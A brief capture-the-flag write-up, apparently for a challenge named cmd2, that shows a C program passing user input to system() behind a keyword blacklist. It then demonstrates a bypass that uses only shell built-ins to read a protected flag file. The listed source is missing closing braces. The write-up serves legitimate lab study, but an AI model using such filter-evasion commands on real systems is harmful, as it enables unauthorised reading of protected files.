Another challenge where we need to escape from a restricted situation. This time we have complete control on the argument passed the function system but, just to make sure we will not do anything harmful, the content of the environment is deleted and the content of the argument passed to system filtered.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

int main(int argc, char* argv[], char** envp){
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;

So, how do we make this program open the file flag in our working directory? We cannot have access to any program, but there is still a class of commands that we can use! The built-in commands (as they don’t use the value of PATH). This is an fast and dirty example, it allows us to read the first line of flag but I’m sure you can do a lot better and pawn a shell:

cmd2@ubuntu:~$ ./cmd2 'for file in *
> do
> read line < $file
> echo $line
> done';
ELF>@@p@8 @@@@@@��88@8@@@
#include <stdio.h>
FuN_****_*****_*****_haha   <---- That's the flag!